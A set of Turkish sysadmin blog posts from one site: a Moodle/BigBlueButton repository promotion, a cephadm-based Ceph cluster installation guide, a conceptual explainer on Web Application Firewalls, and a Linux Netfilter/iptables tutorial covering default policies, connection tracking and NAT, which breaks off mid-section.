--- ## 🎓 Derinlemesine Moodle ve BigBlueButton Kurulumu 2026 🎓 In-depth Moodle and BigBlueButton Installation 2026 Link: https://farukguler.com/posts/derinlemesine-moodle-bigbluebutton-in-depth-moodle-bigbluebutton/ 📌 Bu Proje Nedir? Bu depo, Moodle (LMS) ve BigBlueButton (Video Konferans) platformlarını kurumsal seviyede kurmak, yönetmek ve ölçeklendirmek isteyen sistem yöneticileri, DevOps mühendisleri ve sunucu yöneticileri için hazırlanmış 2026 detaylı bir Türkçe teknik dokümantasyon setidir. Geleneksel “next-next” kurulum kılavuzlarından farklı olarak, bu rehber gerçek dünya senaryolarına (sınav haftası darboğazları, NAT arkası sorunları, SSL kriz yönetimi) odaklanır. Üniversite bilgi işlem daire başkanlıkları ve kurumsal eğitim departmanları için sınav haftaları, binlerce eşzamanlı kullanıcı ve “1007 WebRTC” hataları bir kabusa dönüşebilir. 2026 standartlarında, bu karmaşayı yönetmek artık bir seçenek değil, zorunluluktur. Bu ihtiyaca yönelik geliştirdiğim moodle-bbb-stack reposu, sadece bir kurulum betiği değil; kurumsal seviyede bir BT Altyapı ve Mimari Rehberi‘dir. 🎓 Moodle & BigBlueButton — Kurumsal BT Altyapı ve Mimari Piyasada çok sayıda genel geçer doküman olsa da, moodle-bbb-stack doğrudan akademik ve kurumsal ihtiyaçların yarattığı darboğazlara (bottleneck) çözüm odaklıdır. 🎯 BT Yöneticileri İçin Öne Çıkan Avantajlar: Güncel Mimari Uyumu: Moodle 5.1’in yeni /public dizin yapısı ve BBB 3.0’ın Mediasoup motoru gibi “en yeni” teknolojiler, üretim (production) ortamı standartlarında ele alınmıştır. Sorun Odaklı Çözümler: NAT arkasında çalışan sunuculardaki ses/video sorunlarından, PostgreSQL performans tuning ayarlarına kadar “gerçek dünya” senaryoları işlenmiştir. Tam Entegrasyon: Sadece yazılımları kurmakla kalmaz; Scalelite yük dengeleyici, Redis cache katmanı ve SSO (SAML2/OIDC) kimlik doğrulama gibi kurumsal bileşenleri tek bir çatı altında toplar. 🛠️ Stack İçeriğinde Neler Var? Bu depo, bir sistem yöneticisinin el kitabı niteliğindedir: Moodle SysAdmin Rehberi (15 Bölüm): PHP 8.4 optimizasyonu, Redis session yönetimi ve güvenli vhost yapılandırmaları. BBB v3.0 Master Class (17 Bölüm): Kurento’dan Mediasoup’a geçiş, Coturn (TURN/STUN) sunucu kurulumu ve ağ topolojisi. Altyapı ve Güvenlik: Merkezi log yönetimi, DMARC destekli e-posta altyapısı ve kurumsal güvenlik sıkılaştırmaları. Bu Kaynak Neden İncelenmeli? Eğer bir üniversitede veya büyük bir eğitim kurumunda BT sistemlerinden sorumluysanız; Sınav haftalarında sistemin kilitlenmesini istemiyorsanız, Öğrencilerin “kameram açılmıyor” şikayetlerini kökten çözmek istiyorsanız, Maliyetli bulut çözümleri yerine kendi “on-premise” gücünüzü maksimize etmeyi hedefliyorsanız, Bu depo sizin için hazırlandı. 👉 Hemen İnceleyin ve Yıldızlayın: github.com/faruk-guler/moodle-bbb-stack 📢 Katkıda Bulunun ve Geliştirin Siz de kendi kurumunuzda uyguladığınız “best practice” yöntemlerini repoya katkı (Pull Request) olarak sunabilir, BT camiasındaki bu Türkçe kaynak birikimine destek olabilirsiniz. Yazar: faruk-guler - IT Server and Virtualization Management Computer Science farukguler.com --- ## 🐙 Ceph Storage Cluster Detailed Detaylı inceliyorum Link: https://farukguler.com/posts/ceph-storage-detailed-detayli-inceliyorum/ Ceph Storage Cluster: Uçtan Uca Kurulum Rehberi Bu dokümanı, Ceph Reef (veya Quincy) sürümünü baz alarak, modern standart olan cephadm (Containerized Deployment) yöntemiyle hazırladım. Senin Docker ve Linux ağ bilgine güvenerek, sadece “kur geç” değil, “neden böyle yapıyoruz” detaylarına da gireceğim. Not: Bu kurulum Production-Ready (Canlı Ortam) standartlarına en yakın ev laboratuvarı/küçük işletme senaryosudur. 🏗️ 1. Mimari ve Gereksinimler (Planlama) Ceph kurmadan önce masaya koyman gereken mimari şu olmalı. En az 3 Node (Sunucu) kullanacağız. Donanım Önerisi (Node Başına) CPU: En az 4 Çekirdek (Replikasyon CPU yer). RAM: En kritik nokta. OSD (Disk) başına yaklaşık 2-4 GB RAM hesapla. 3 Diskli bir sunucu için 16GB RAM idealdir. Production Formülü: Total RAM = [OSD sayısı] x (4 GB + 8 GB) + 16 GB Örnek: 3 OSD → 3 x 12 GB + 16 GB = 52 GB önerilir. Diskler: 1x SSD/NVMe -> İşletim Sistemi (OS) için. 2x veya daha fazla HDD/SSD -> Ceph Verisi (OSD) için. (ÖNEMLİ: Bu diskler ham/RAW olacak, formatlanmayacak, partition olmayacak!) Network (İncelik 1) Ceph’te iki trafik vardır: Public Network: İstemcilerin (VM’ler, PC’ler) bağlandığı ağ. Cluster Network: OSD’lerin arka planda veri kopyaladığı (Replication/Recovery) ağ. Pro Tip: Mümkünse bunları fiziksel olarak ayırın veya VLAN ile ayırın. Replikasyon trafiği, public hattı tıkamamalı. Örnek Lab Ortamı Node 1 (Admin/Monitor): 192.168.1.10 Node 2 (OSD Node): 192.168.1.11 Node 3 (OSD Node): 192.168.1.12 OS: Ubuntu 22.04 LTS veya Debian 12 (Rocky Linux da olur ama Debian tabanına aşinasın). 🛠️ 2. Ön Hazırlık (Tüm Node’larda Yapılacak) Bu komutları TÜM sunucularda çalıştır. A. Hostname ve DNS Ayarı Ceph, node’ları isimle tanır. /etc/hosts dosyasına hepsini ekle: 1 2 3 4 # /etc/hosts dosyasına ekle: 192.168.1.10 node1.local node1 192.168.1.11 node2.local node2 192.168.1.12 node3.local node3 B. Zaman Senkronizasyonu (Kritik İncelik) ⚠️ Ceph’in toleransı milisaniyelerdir. Saatler kayarsa cluster çöker (Clock Skew hatası). 1 2 sudo apt update && sudo apt install -y chrony lvm2 curl podman # Podman veya Docker şarttır. Ceph artık konteyner içinde çalışır. C. Swap’ı Kapatmak (Performans İnceliği) Ceph RAM’i sever. RAM bitince diske (Swap) yazarsa performans yerle bir olur. 1 2 sudo swapoff -a # /etc/fstab içinden swap satırını kalıcı olarak sil veya yorum satırı yap (#). 🚀 3. Cluster’ı Başlatma (Sadece İlk Node - Node1) Artık sadece Node 1 üzerindeyiz. Burası bizim yönetim merkezimiz olacak. A. Cephadm ve CLI Araçlarını Yükle 1 2 3 4 5 6 7 8 9 10 11 # Doğru linkten cephadm scriptini indir (Resmi sunucu) curl --silent --remote-name --location https://download.ceph.com/rpm-reef/el9/noarch/cephadm # Çalıştırma izni ver chmod +x cephadm # Reef sürümü için repoları sisteme ekle sudo ./cephadm add-repo --release reef # ceph-common paketini yükle sudo ./cephadm install ceph-common B. Bootstrap (Büyük Patlama) 💥 Bu komut; ilk Monitor (MON), ilk Manager (MGR) daemonlarını ayağa kaldırır ve bir Dashboard oluşturur. 1 2 3 # Public network IP adresini belirtiyoruz. # Opsiyonel: Eğer cluster trafiğini ayırmak istersen --cluster-network 10.10.10.0/24 ekle. sudo cephadm bootstrap --mon-ip 192.168.1.10 Bu işlem bittiğinde sana bir Dashboard URL, Kullanıcı Adı (admin) ve Şifre verecek. Bunu bir yere not et! Pro Tip - Komut Kısayolu: Her seferinde cephadm shell veya cephadm shell -- ceph yazmak yerine alias oluştur: 1 2 3 alias ceph='cephadm shell -- ceph' # Kalıcı yapmak için ~/.bashrc dosyasına ekle echo "alias ceph='cephadm shell -- ceph'" >> ~/.bashrc 🔗 4. Diğer Sunucuları Cluster’a Ekleme Cephadm, diğer sunuculara SSH ile bağlanıp onları yönetir. A. SSH Anahtarını Dağıt Bootstrap işlemi sırasında Node1’de özel bir SSH key oluştu (/etc/ceph/ceph.pub). Bunu diğer sunuculara kopyalamalıyız. 1 2 ssh-copy-id -f -i /etc/ceph/ceph.pub root@node2 ssh-copy-id -f -i /etc/ceph/ceph.pub root@node3 B. Node’ları Ekleyin (Orchestrator) Artık Ceph CLI üzerinden diğer sunucuları havuza dahil ediyoruz. 1 2 3 4 5 6 7 8 9 # Önce Ceph shell'e gir (Container içine girmek gibidir) sudo cephadm shell # Node'ları ekle ceph orch host add node2 192.168.1.11 # Buraya Management/Public IP adresini yaz. ceph orch host add node3 192.168.1.12 # Durumu kontrol et ceph orch host ls Burada 3 sunucuyu da “Status” sütununda aktif görmelisin. 💾 5. OSD (Disk) Ekleme ve Depolama Alanı Şimdi sunucuların üzerindeki boş diskleri Ceph’e tanıtacağız. A. Diskleri Kontrol Et Sistemdeki boş diskleri Ceph görüyor mu? 1 ceph orch device ls Çıktıda /dev/sdb gibi diskleri ve “Available: Yes” ibaresini görmelisin. Eğer “Available: No” diyorsa diskte partition veya LVM kalıntısı vardır. wipefs -a /dev/sdb ile veya inatçı durumlarda ceph-volume lvm zap /dev/sdb --destroy ile silmen gerekir. B. Tüm Boş Diskleri OSD Yap (Kolay Yol) Aşağıdaki komut, tüm node’lardaki tüm boş ve uygun diskleri otomatik olarak OSD yapar: 1 ceph orch apply osd --all-available-devices C. Gelişmiş Disk Yapılandırması (İncelik) 🧠 Eğer “Benim SSD’lerim var, bunları HDD’lerin cache’i (WAL/DB) olarak kullanmak istiyorum” dersen (Hybrid OSD), basit komut yerine Drive Group (YAML) kullanmalısın. Örnek (Sadece bilgi amaçlı, yukarıdaki komut genelde yeterlidir): 1 2 3 4 5 6 7 8 9 10 11 service_type: osd service_id: osd_spec_default placement: host_pattern: '*' data_devices: paths: - /dev/sdb - /dev/sdc db_devices: paths: - /dev/nvme0n1 # HDD'lerin metadata'sı bu hızlı diske yazılır. 🧠 6. Servisleri Dağıtma (MDS, RGW) Ceph sadece blok (RBD) depolama değildir. A. CephFS (Dosya Sistemi - NAS gibi kullanım) için Metadata Server (MDS) gereklidir. 1 2 3 4 5 # Önce MDS servislerini dağıt ceph orch apply mds myfs --placement="3 node1 node2 node3" # Ardından CephFS volume'ü oluştur ceph fs volume create myfs B. Object Storage (S3 uyumlu) için Rados Gateway (RGW) gereklidir. 1 ceph orch apply rgw myrgw --placement="3 node1 node2 node3" 🕵️ 7. Ceph’in “İncelikleri” ve Pro İpuçları Bir sistemci olarak bilmen gereken ve kurulum rehberlerinde yazmayan sırlar: 1. PG Calc (Placement Groups) Ceph, veriyi disklere direkt yazmaz. Veri -> Obje -> PG (Placement Group) -> OSD zincirini izler. Sorun: PG sayısını az verirsen veri dağılmaz, performans düşer. Çok verirsen CPU patlar. Kural: OSD başına yaklaşık 100 PG hedeflenir. Ceph Reef sürümünde pg_autoscaler on olarak gelir, yani Ceph bunu senin yerine hesaplar. Bunu sakın kapatma! 2. Failure Domain (Hata Alanı) Varsayılan olarak Ceph “Host” bazlı koruma yapar. Yani 3 sunucun varsa, bir dosyanın 1. kopyası Node1’de, 2. kopyası Node2’de, 3. kopyası Node3’tedir. İncelik: Eğer tek sunucuya Ceph kurarsan (önermemiştim), Ceph verileri replike edemez ve HEALTH_WARN durumunda kalır. Bunu düzeltmek için CRUSH haritasını osd seviyesine indirmen gerekir (Production’da yapılmaz). 3. Client Keyring İstemcilerin (Örn: Proxmox veya başka bir Linux sunucu) Ceph’e bağlanması için admin yetkisine ihtiyacı yoktur. Her istemci için ayrı “Keyring” oluştur: 1 ceph auth get-or-create client.proxmox mon 'allow r' osd 'allow class-read object_prefix rbd_children, allow rwx pool=vms' 4. Quorum (Split-Brain) 3 Monitor (MON) sunucusu ile başladık. Eğer 2 sunucu kapanırsa, kalan 1 sunucu “Ben çoğunluk muyum?” diye bakar. Oyların %50’sinden fazlasını alamazsa Cluster kendini kilitler (Read-Only bile olmaz, durur). Buna Quorum denir. Veri bozulmasını önlemek için bu davranış hayati önem taşır. 🏁 8. Test Etme Kurulum bitti, her şey yeşil. Test edelim. Bir Havuz (Pool) Oluştur 1 2 ceph osd pool create testpool 32 32 ceph osd pool application enable testpool rbd Bir Blok Disk (Image) Oluştur 1 rbd create disk1 --size 10G --pool testpool Diski Map Et (Linux’a bağla) 1 2 rbd map disk1 --pool testpool --name client.admin # Çıktı: /dev/rbd0 Formatla ve Kullan 1 2 mkfs.ext4 /dev/rbd0 mount /dev/rbd0 /mnt Tebrikler! Artık kendi kendine yeten, kendini iyileştirebilen (Self-healing), Enterprise seviyesinde bir depolama kümen var. Dashboard’a (https://192.168.1.10:8443) girip o meşhur Ceph arayüzüne erişebilirsiniz. 📁 Tam kapsamlı sürüme erişmek için: 👉 https://github.com/faruk-guler/Sahara/tree/main/CEPH --- ## Web Application Firewall (WAF) Nedir? Link: https://farukguler.com/posts/waf-nedir/ Web Application Firewall (WAF), web uygulamalarının karşılaşabileceği çeşitli güvenlik tehditlerine karşı koruma sağlayan bir güvenlik çözümüdür. WAF, bir ağ güvenlik duvarına benzer şekilde çalışır ancak özellikle web uygulamalarına özgü tehditlere odaklanır. WAF, web uygulamaları için tasarlanmış bir firewall olarak düşünülebilir. Web uygulamalarının sunucularına gelen istekleri izleyerek, güvenlik politikalarına uygun olmayan trafikleri engeller. WAF, saldırganların web uygulamalarına saldırmak için kullandığı yaygın saldırı tekniklerini tespit eder ve engeller. Örneğin SQL enjeksiyonu, cross-site scripting (XSS), ve cross-site forgery request (CSRF) gibi saldırı tekniklerine karşı koruma sağlar. WAF, web uygulamalarının güvenliğini artırmak için birden fazla güvenlik katmanı sağlar. Bu katmanlar, web uygulamalarının ön yüzü, arka yüzü, veritabanı, sunucu işletim sistemi ve ağ katmanları gibi farklı bileşenlerindeki tehditleri korur. WAF, saldırganların web uygulamalarına erişmelerini önlerken, kullanıcıların normal şekilde uygulamaları kullanmalarına izin verir. WAF Nasıl çalışır ? - How does WAF work? Web Uygulaması Güvenlik Duvarı (WAF), web uygulamalarının sunucularına gelen istekleri izleyerek, güvenlik politikalarına uygun olmayan trafikleri engeller. WAF, çalışma prensibi olarak şu adımları izler: WAF, web uygulaması trafiğini izler ve HTTP trafiğini analiz eder. WAF, saldırganların web uygulamasına karşı kullanabileceği yaygın saldırı tekniklerini algılamaya çalışır. Bu teknikler, SQL enjeksiyonu, cross-site scripting (XSS), cross-site forgery request (CSRF) gibi web uygulamalarına yönelik saldırı teknikleri olabilir. WAF, saldırıların tespit edilmesi durumunda, saldırıları engellemek için önlem alır. Örneğin, WAF, SQL enjeksiyonu saldırılarına karşı SQL komutları içeren istekleri engelleyebilir. WAF, güvenlik politikalarına uygun olmayan istekleri engeller ve bu isteklerin sunuculara erişmesini önler. Bu politikalar, bir web uygulamasına izin verilen HTTP istekleri, gelen trafik hacmi, istek sıklığı gibi kuralları içerir. WAF, web uygulamaları için tasarlanmış bir firewall olarak da çalışır ve saldırganların doğrudan web uygulamasına erişmesini engeller. Bu sayede saldırganlar, uygulamalardaki açıkları sömürmelerine olanak veren trafiği engellenir. WAF, birçok farklı yöntemle web uygulamalarını korur. Bu yöntemler, web uygulamasının ön yüzü, arka yüzü, veritabanı, sunucu işletim sistemi ve ağ katmanları gibi farklı bileşenlerindeki tehditleri korur. Böylece WAF, web uygulamalarını birçok tehdide karşı korur. WAF türleri nelerdir? - What are WAF types? Web Uygulaması Güvenlik Duvarı (WAF) farklı tiplerde mevcuttur ve aşağıdaki şekilde sınıflandırılabilir: Ağ Tabanlı WAF: Ağ tabanlı WAF, web uygulamalarının önündeki ağ trafiğini filtreleyerek saldırıları engeller. Ağ tabanlı WAF, bir ağ güvenlik duvarı (firewall) ile birleştirilerek kullanılabilir. Ana Bilgisayar Tabanlı WAF: Ana bilgisayar tabanlı WAF, web uygulamalarını barındıran sunucularda çalışır. Bu WAF türü, web uygulamalarıyla ilgili tüm verileri izler ve gelen trafik üzerinde filtreleme yaparak saldırıları engeller. Bulut Tabanlı WAF: Bulut tabanlı WAF, web uygulamalarının barındırıldığı bulut tabanlı sunucularda çalışır. Bu WAF türü, güncel saldırı verilerini kullanarak web uygulamalarını korur. Yerleşik WAF: Yerleşik WAF, web sunucularının işletim sistemlerinde yer alan bir WAF çözümüdür. Bu WAF türü, web sunucusuna entegre edilerek çalışır ve web uygulamalarını korur. Yapay Zeka Destekli WAF: Yapay zeka destekli WAF, güvenlik ihlallerini tespit etmek için yapay zeka ve makine öğrenimi teknolojilerini kullanır. Bu WAF türü, saldırıların keşfedilmesinde daha etkilidir. Açık Kaynaklı WAF: Açık kaynaklı WAF, açık kaynak kodlu bir yazılım olarak mevcuttur. Bu WAF türü, kullanıcıların ihtiyaçlarına göre özelleştirilebilir ve ücretsiz olarak kullanılabilir. Her WAF türü, web uygulamalarının farklı güvenlik gereksinimlerine göre tasarlanmıştır. Seçilecek WAF türü, web uygulamalarının ihtiyaçlarına göre belirlenmelidir. Peki Saldırı Tespit Mekanizması Nasıl? - So How is the Intrusion Detection Mechanism? Web Uygulaması Güvenlik Duvarı (WAF), saldırıları tespit etmek ve önlemek için bir dizi mekanizma kullanır. İşleyiş genel olarak şöyle özetlenebilir: İstekleri İzleme: WAF, web uygulamalarına yönelik gelen istekleri izler ve bunları analiz eder. İstekleri Filtreleme: WAF, izlediği istekleri önceden belirlenmiş kurallara göre filtreler ve potansiyel saldırıları engellemeye çalışır. Örneğin, SQL enjeksiyonu saldırılarını engellemek için WAF, gelen istekleri SQL enjeksiyonu belirtileri açısından tarar ve uygun önlemleri alır. Davranış Analizi: WAF, web uygulamalarının normal davranış kalıplarını öğrenir ve bu kalıplardan sapmaları tespit eder. Örneğin, normalde belirli bir işlem için 2 adımda izin veren bir uygulamada, birden fazla kez aynı işlem için izin veren istekler fark edildiğinde, WAF bu durumu bir saldırı girişimi olarak algılar ve buna karşı önlem alır. Doğrulama ve Kimlik Doğrulama: WAF, web uygulamalarına gelen istekleri doğrular ve kullanıcıların kimliklerini doğrulamak için kullanılır. Böylece, yetkisiz erişim girişimleri engellenir. Güncelleme: WAF, güncel saldırı verilerine göre sürekli olarak güncellenir ve saldırıları tespit etmek ve engellemek için en son teknolojileri kullanır. WAF'nin saldırı tespit mekanizması, web uygulamalarını birçok farklı tehditten korur. Ancak, tamamen güvenli bir web uygulaması sağlamak için WAF, diğer güvenlik önlemleri ve uygulama yazılımı tarafından sağlanan korumalarla birlikte kullanılmalıdır. - SQL İnjection- Cross-Site Scripting- Command İnjection- Local File İncluding- Buffer Overflow- Brute-Force Attack- Cookie-Session Posioning- Session Hijacking- Sensitive Information Leaks- Server Misconfiguration- Wall-known latform Vulnerabilities- Form-Hidden Field Manipulation- Parameter Tamper- Remote File İncluding- File Upload Sektördeki Bazı WAF Ürünleri - Some WAF Products in the Industry ModSecurity: Açık kaynaklı bir WAF, Apache web sunucusu için tasarlanmıştır. Cloudflare WAF: Cloudflare'in bulut tabanlı WAF çözümüdür. Akamai Kona Site Defender: Akamai'nin WAF çözümüdür. Barracuda WAF: Fiziksel ve sanal olarak sunulan bir WAF çözümüdür. F5 BIG-IP ASM: F5 Networks'ün WAF çözümüdür. Imperva WAF: Bulut tabanlı bir WAF çözümüdür. Fortinet FortiWeb: Fiziksel ve sanal olarak sunulan bir WAF çözümüdür. Trustwave WAF: Fiziksel ve sanal olarak sunulan bir WAF çözümüdür. Radware AppWall: Radware'in WAF çözümüdür. Wallarm WAF: Bulut tabanlı bir WAF çözümüdür. Bu, sadece popüler WAF ürünlerinden birkaç örnektir ve pazar sürekli olarak değişmektedir. WAF seçerken, özellikleri, performansı, uyumluluğu ve fiyatı gibi faktörleri dikkate almak önemlidir. Saygılarımla. – Best regards. --- ## Firewall Nedir? Linux Firewall’ı detaylı inceliyorum Link: https://farukguler.com/posts/linux-firewall-detayli-inceliyorum/ Firewall (güvenlik duvarı), bir bilgisayar ağına veya sistemine gelen/çıkan ağ trafiğini önceden tanımlanmış kurallara göre denetleyen bir güvenlik mekanizmasıdır. Amacı: Yetkisiz erişimleri engellemek, Saldırıları sınırlamak, İç kaynakları korumak, Ağ trafiğini denetlemek ve loglamaktır. Linux’ta firewall mekanizması çekirdek (kernel) seviyesinde çalışan Netfilter altyapısıdır. Yani kullanıcı alanı (user space) değil, işletim sisteminin en temel katmanında çalışır. 1. 🏗️ Mimari: Donanım (Network) vs Yazılım (Host) Firewall Güvenlikte altın kural “Derinlemesine Savunma” (Defense in Depth) ilkesidir. Tek bir koruma katmanına güvenmek modern mimaride intihardır. Güvenlik, Ağ ve Sunucu seviyesinde iki aşamalı olmalıdır. a. 🏢 Donanım Firewall: (Örn: Fortinet, Palo Alto, Cisco) Donanımsal firewall, sunuculara yüklenen bir program değil, kablo takılan fiziksel, ayrı bir cihazdır (Appliance). İnternet hattı önce bu cihaza girer, trafik burada süzüldükten sonra sunuculara dağılır. ⚡ Neden Özel Bir Cihaz? (ASIC Teknolojisi): Normal bilgisayarların işlemcisi (CPU) her işi yapar ama yavaştır. Bu cihazların içinde sadece paket süzmek için üretilmiş Özel Çipler (ASIC) bulunur. Bu sayede saniyede milyarlarca veriyi (Gigabit/Terabit) hiç takılmadan işleyebilir. ✅ İlk Savunma Hattı: DDoS saldırılarını ve kaba trafiği sunuculara ulaşmadan durdurur. ✅ Geniş Görüş Açısı: Tüm binanın (Veri Merkezi) trafiğini görür, IPS/IDS ile imza tabanlı saldırıları durdurur. ❌ İçeriye Kör: Bir saldırgan kapıdan girdikten sonra (veya içeriden biri) daireler arası gezerken (Lateral Movement) donanım firewall bunu göremez. b. 🐧 (Host) Firewall: (Örn: Netfilter, Iptables, Nftables) ✅ Sıfır Güven (Zero Trust): Yan komşunuz (aynı ağdaki diğer sunucu) zarar görse bile sizi izole edecektir. ✅ Uygulama Farkındalığı: İşletim sistemiyle konuşur. Hangi kullanıcının (root vs apache) hangi process ile ağa çıktığını bilir. ✅ Konteyner Uyumu: Docker/Kubernetes gibi dinamik ortamların ağ trafiğini yönetebilir. 2. 🟢 Default Policy Whitelist (Her şeyi yasakla!) (İzin Verilen Liste) - Temel Firewall mantığı budur ama bu aşağıdaki alan sadece iptables komutlarına odaklıdır. 1 2 3 4 # Varsayılan olarak her şeyi yasakla IPv4 iptables -P INPUT DROP iptables -P FORWARD DROP # iptables -P OUTPUT DROP # veya ACCEPT (önerilmez) 1 2 3 4 # Varsayılan olarak her şeyi yasakla IPv6 ip6tables -P INPUT DROP ip6tables -P FORWARD DROP # ip6tables -P OUTPUT DROP # veya ACCEPT (önerilmez) Güvenli: Sadece açıkça izin verilenler geçer Önerilen: Üretim sunucuları için ⚠️ Default policy’yi DROP yapmadan önce kritik kuralları (ssh etc.) eklemeyi unutmayın, yoksa sunucuya erişimi kaybedersiniz.! Sıralama önemlidir: Kurallar yukarıdan aşağıya işlenir, ilk eşleşen kural kazanır 3. 🚦 Trafikte yönünü bul (IN / OUT / FORWARD) Linux firewall’da IN/OUT gibi soyut bir yön kavramı yoktur. Bir paketin hangi yönde olduğu, yazıldığı zincir (INPUT, OUTPUT, FORWARD) ile belirlenir. INPUT (COMING): ← gelen trafik OUTPUT (GOING): → giden trafik FORWARD: ↑ Bu makineye gelen ama bu makinede sonlanmayan başka bir hedefe yönlendirilen trafiktir. ⚠️ Bir kuralın hangi trafiği kontrol ettiğini belirleyen en temel unsur yazıldığı (INPUT, OUTPUT, FORWARD) Zincir’dir. Zincir, paketin yönünü tanımlar Netfilter, Iptables ve Ötesi Linux’ta güvenlik duvarı (firewall), aslında bir “yazılım” değil, Linux çekirdeğinin (Kernel) ağ yığınına gömülü bir çerçevedir (framework). Bu çerçevenin adı Netfilter’dır. Kullandığımız iptables, nftables, ufw veya firewalld gibi araçlar, sadece bu çekirdek modülüyle konuşmamızı sağlayan arayüzlerdir. 4. Temel Mimari: Netfilter ve Packet Flow (Paket Akışı) Bir Linux sunucusuna bir ağ paketi geldiğinde, rastgele hareket etmez. Belirli kontrol noktalarından (Hooks) geçer. Bu akışı anlamak, sorunu çözmenin %90’ıdır. Netfilter Hook “Kanca” Noktaları (Paketin Yolculuğu) Bir paket ağ kartından (eth0) içeri girdiğinde şu sırayı izler: a. PREROUTING (Ön Yönlendirme): Paket sisteme girer girmez buraya uğrar. Henüz yönlendirme kararı (routing decision) verilmemiştir. * Kullanım: Genelde DNAT (Port yönlendirme) burada yapılır. “Bu paket bana mı geldi, başkasına mı gidecek?” sorusu henüz sorulmamıştır. b. Routing Decision (Yönlendirme Kararı): Çekirdek paketin hedef IP’sine bakar. * Hedef bu sunucu ise -> Adım 3’e (INPUT) gider. * Hedef başka bir yer ise (Router gibi davranıyorsa) -> Adım 4’e (FORWARD) gider. c. INPUT (Giriş): Paket doğrudan bu sunucudaki bir sürece (örn: Nginx, SSH) geliyorsa buraya girer. * Kullanım: Sunucuyu koruyan ana kurallar buraya yazılır (Port 80’i aç, 22’yi kısıtla vb.). d. FORWARD (İletme): Paket bu sunucuya gelmedi, bu sunucu üzerinden başka bir yere (örn: VPN arkasındaki bir makineye veya Docker konteynerine) gidiyor. * Kullanım: Router, Gateway veya Docker köprüleri için filtreleme burada yapılır. e. OUTPUT (Çıkış): Bu sunucunun kendisi (local process) bir paket oluşturup dışarı göndermek istiyorsa (örn: curl google.com), paket buradan başlar. f. POSTROUTING (Son Yönlendirme): Paket (ister içeriden, ister dışarıdan gelsin) sunucuyu terk etmeden önceki son çıkış kapısıdır. * Kullanım: Genelde SNAT veya Masquerading (İnternet paylaşımı) burada yapılır. 5. Stateful Inspection -(conntrack) (Durum Denetimi) Nedir? Eski firewall’lar “Stateless” (Durumsuz) idi. Yani giden paketi bilirdi ama dönen cevabın o pakete ait olduğunu bilmezdi. Linux Netfilter Stateful’dur. Yani bağlantıları takip eder (Conntrack). Bir kural yazarken şu 4 durumu bilmen şarttır: NEW: Yeni bir bağlantı başlatma isteği (Örn: SYN paketi). ESTABLISHED: Daha önce izin verilmiş bir bağlantının devamı olan paketler. Önemli: Çok önemlidir! Eğer buna izin vermezsen, sunucu Google’a ping atar ama cevabı alamaz çünkü cevap NEW değil, ESTABLISHED olmazsa DROP edilir. RELATED: Mevcut bir bağlantıyla ilişkili yeni bir bağlantı (Örn: FTP data kanalı veya ICMP hata mesajları). INVALID: Hiçbir duruma uymayan, bozuk paketler. Genelde doğrudan Drop edilir. Conntrack (Connection Tracking): Stateful özelliği sağlar. “conntrack -L” bağlantıları görebilirsiniz. Conntrack yüksek trafikte bellek tüketebilir → nf_conntrack_max ayarı yapılmalıdır. 1 2 sysctl -w net.netfilter.nf_conntrack_max=524288 sysctl -w net.netfilter.nf_conntrack_tcp_timeout_established=600 # saniye 6. ➦ NAT Nedir? NAT, paketlerin üzerindeki “Gönderen” (Source) veya “Alıcı” (Destination) IP adreslerini değiştirme sanatıdır. Linux’ta bu işlem nat tablosunda yapılır. A. SNAT (Source NAT - Kaynak Adres Çevirisi) Paketin gönderen (source) IP adresini değiştirmek için kullanılır. Amaç: İç ağdaki (LAN) bilgisayarların, internete çıkarken sahip oldukları yerel IP (örn: 192.168.1.5) yerine, sunucunun/router’ın Sabit (Static) Dış IP adresiyle görünmesini sağlamak. Zincir (Chain): POSTROUTING (Paket tam çıkış yaparken değiştirilir). Kullanım Yeri: Sunucunun dış IP adresi sabitse (Static IP) kullanılır. Örnek Senaryo: İç ağdaki (10.0.0.0/24) tüm makineler internete çıkarken, dış dünyada 203.0.113.5 olarak görünsün. 1 iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT --to-source 203.0.113.5 B. MASQUERADE (Maskeleme) SNAT’ın özel ve dinamik bir türüdür. Amaç: Yine iç ağdaki makinelerin internete çıkmasını sağlar. Ancak hedef IP belirtmek yerine, “O an çıkış arabirimi (interface) hangi IP’ye sahipse onu kullan” der. Zincir (Chain): POSTROUTING Kullanım Yeri: Sunucunun dış IP adresi değişkense (DHCP, ADSL, 4G, Bulut instance’ları) kullanılır. Farkı: SNAT’tan biraz daha yavaştır çünkü her pakette “Acaba şu an IP adresim ne?” diye kontrol eder. Ancak IP değiştiğinde yeni bağlantılar otomatik olarak yeni IP ile çıkar. Örnek Senaryo: İç ağdaki cihazlar eth0 üzerinden internete çıksın, eth0‘ın IP’si ne olursa olsun (IP adresini bilmemize gerek yok). 1 iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE C. DNAT (Destination NAT - Hedef Adres Çevirisi) Paketin hedef (destination) IP adresini (ve genellikle portunu) değiştirmek için kullanılır. Bilinen adıyla Port Forwarding (Port Yönlendirme). Amaç: Dış dünyadan (İnternet) gelen bir isteği, güvenlik duvarının arkasındaki (LAN) başka bir sunucuya veya servise yönlendirmek. Zincir (Chain): PREROUTING (Paket sisteme girer girmez, yönlendirme kararı verilmeden önce değiştirilir). Önemli Not: DNAT tek başına yetmez, genellikle FORWARD zincirinde de izin verilmesi gerekir. Örnek Senaryo: Sunucunun dış IP’sine (203.0.113.5) gelen 8080 portu isteklerini, iç ağdaki 192.168.1.50 IP’li sunucunun 80 portuna yönlendir. 1 2 3 4 5 # 1. Kural: Hedefi değiştir (DNAT) iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.50:80 # 2. Kural: Trafiğin geçmesine izin ver (FORWARD zinciri kuralı) iptables -A FORWARD -p tcp -d 192.168.1.50 --dport 80 -j ACCEPT D. REDIRECT (Yerel Yönlendirme) Gelen paketleri aynı makinedeki farklı bir porta yönlendirir. Zincir: PREROUTING veya OUTPUT Kullanım: Transparent proxy (Squid, Tor), yerel port yönlendirme Örnek Senaryo: 80 portuna gelen trafiği yerel 3128 (proxy) portuna yönlendir. 1 2 # 80 portuna gelen trafiği 3128 (proxy) portuna yönlendir iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3128 7. 🚧 Tablolar ve Öncelik Sırası (Tables Priority) Netfilter sadece zincirlerden ibaret değildir; zincirler tablolar (tables) içinde organize edilir. Her tablo belirli bir amaç için kullanılır ve paketler hook noktalarında (PREROUTING, INPUT, FORWARD, OUTPUT, POSTROUTING) belirli bir sırayla tabloları dolaşır. raw En yüksek 